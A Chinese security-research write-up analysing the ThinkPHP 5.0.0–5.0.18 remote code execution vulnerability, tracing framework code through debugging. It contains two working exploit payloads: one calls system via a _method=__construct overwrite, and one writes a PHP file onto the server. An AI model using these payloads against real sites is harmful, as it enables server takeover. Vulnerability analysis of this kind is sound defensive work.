Thinkphp5.0.0-5.0.18RCE分析
1 2 3 4 5 | 1. 本文一共 1732 个字 26 张图 预计阅读时间 15 分钟
2. 本文作者Panacea 属于Gcow安全团队复眼小组 未经过许可禁止转载
3. 本篇文章主要分析了Thinkphp5. 0.0 - 5.0 . 18RCE 情况
4. 本篇文章十分适合漏洞安全研究人员进行交流学习
5. 若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽
|
0x00.前言
本篇文章基于thinkphp5.*
框架,分析两种payload的构成以及执行流程
准备
Windows+phpstudy
tp版本:thinkphp_5.0.5_full
php版本:5.4.45
phpstorm+xdebug
0x01.Payload1
开始分析
漏洞代码位于:thinkphp/library/think/Request.php
首先放上payload:
s=whoami&_method=__construct&method=post&filter[]=system
method
方法主要用来判断请求方式,首先分析一下这段代码的逻辑:通过$_SERVER
和server
方法获取请求类型,如果不存在method
变量值,那么就用表单请求类型伪装变量覆盖method
的值,那么就可以利用这点调用其他函数,预定义里面method
为false
,那么就会直接走下一步的是否存在表单覆盖变量
从get
方法中获取var_method
的值,值为_method
在config.php
已经有默认值,但我们构造的payload里面传值_method=__construct
就是变量覆盖,因此下一步会走到__construct
方法
1 2 | / / 表单请求类型伪装变量
'var_method' = > '_method' ,
|
继续往下跟代码,来到__construct
构造方法,将数组option
进行遍历操作,如果option
的键名为该属性的话,则将该同名的属性赋值给\$option的键值,如果filter
为空的空,就调用默认的default_filter
值
filter方法:
1 2 3 4 5 6 7 8 | public function filter ($ filter = null)
{
if (is_null($ filter )) {
return $this - > filter ;
} else {
$this - > filter = $ filter ;
}
}
|
而默认的过滤方法为空
1 2 | / / 默认全局过滤方法 用逗号分隔多个
'default_filter' = > '',
|
在构造函数里面走完filter之后会走input
方法,继续跟进
继续往下跟,这里的method
已经为post
方法,所以进入param
方法里的post
是直接break
的
下一步进入filtervalue
方法中,可以看到我们要传入的值已经全部传进了,call_user_func()
函数将我们传入的\$filter=system作为回调函数调用,也就达到了RCE的目的
0x02.Payload2
前提
该利用的重点在于在一定条件下可以使用::来调用非静态方法
首先我们需要了解静态属性和静态方法是如何调用的,静态属性一般使用self::进行调用,但是在该篇博客上面使用了::
的骚操作,用::
调用非静态方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <?php
class People{
static public $name = "pana" ;
public $height = 170 ;
static public function output(){
/ / 静态方法调用静态属性使用 self
print self ::$name. "<br>" ;
/ / 静态方法调用非静态属性(普通方法)需要先实例化对象
$t = new People() ;
print $t - > height. "<br>" ;
}
public function say(){
/ / 普通方法调用静态属性使用 self
print self ::$name. "<br>" ;
/ / 普通方法调用普通属性使用$this
print $this - > height. "<br>" ;
}
}
$pa = new People();
$pa - > output();
$pa - > say();
/ / 可以使用::调用普通方法
$pan = People::say();
|
可以看到最后的输出,仍然输出了name
的值,但是却没有输出height
的值
原因在于:php里面使用双冒号调用方法或者属性时候有两种情况:
直接使用::调用静态方法或者属性
::调用普通方法时,需要该方法内部没有调用非静态的方法或者变量,也就是没有使用$this
,这也就是为什么输出了name
的值而没有输出height
了解上面这些,我们就可以开始下面的分析
0x03.分析
先放上流程图(本人比较菜鸡 所以只能用这种方法记录下来流程)
首先放上payload
1 | path = <?php file_put_contents( 'ccc.php' , '<?php phpinfo();?>' ); ?>&_method = __construct& filter [] = set_error_handler& filter [] = self ::path& filter [] = \think\view\driver\Php::Display&method = GET
|
payload的分析
使用file_put_contents()
写入,使用变量覆盖将_method
的值设置为_construct
,这里的set_error_handler
是设置用户自定义的错误处理程序,能够绕过标准的php错误处理程序,接下来就是调用\think\view\driver\Php下面的Display
方法,因为我们要利用里面的
完成RCE的目的
虽然会报错,但是不影响写入
首先从App.php开始,在routeCheck方法处打断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | public static function routeCheck($request, array $config)
{
$path = $request - >path();
$depr = $config[ 'pathinfo_depr' ];
$result = false;
/ / 路由检测
$check = !is_null( self ::$routeCheck) ? self ::$routeCheck : $config[ 'url_route_on' ];
if ($check) {
/ / 开启路由
if (is_file(RUNTIME_PATH . 'route.php' )) {
/ / 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php' ;
if (is_array($rules)) {
Route::rules($rules);
}
} else {
$files = $config[ 'route_config_file' ];
foreach ($files as $ file ) {
if (is_file(CONF_PATH . $ file . CONF_EXT)) {
/ / 导入路由配置
$rules = include CONF_PATH . $ file . CONF_EXT;
if (is_array($rules)) {
Route:: import ($rules);
}
}
}
}
|
这一步主要是获取$path
的值,也就是我们要走的路由captcha
继续往下走,$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);,跟进check
方法,这里面的重点就是获取method
的值,$request->method()
这里是调用var_method
,因为我们传入了_method=__construct
,也就是变量覆盖,这些步骤和上面的几乎一样
那下一步继续跟进__construct
,走完construct
函数后,可以看到大部分的值都是我们希望传进去的,这时method
的值为GET,也就是为什么payload里面要传GET的原因
下一步要获取当前请求类型的路由规则
1 | $rules = self ::$rules[$method];
|
可以看到这里的rule
和route
的值都发生了改变,路由值为\think\captcha\CaptchaController@index
接下来跟进routeCheck()
方法,走完这个方法后,返回result
值
接下来进入dispatch
方法
接下来进入param
方法,合并请求参数和url地址栏的参数
1 | $this - >param = array_merge($this - >get(false), $ vars , $this - >route(false));
|
然后进入get
方法,继续跟进input
方法
然后就会回到filterValue
方法执行任意方法
0x04.参考文章:
https://y4tacker.blog.csdn.net/article/details/115893304
https://y4tacker.blog.csdn.net/article/details/115893304
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)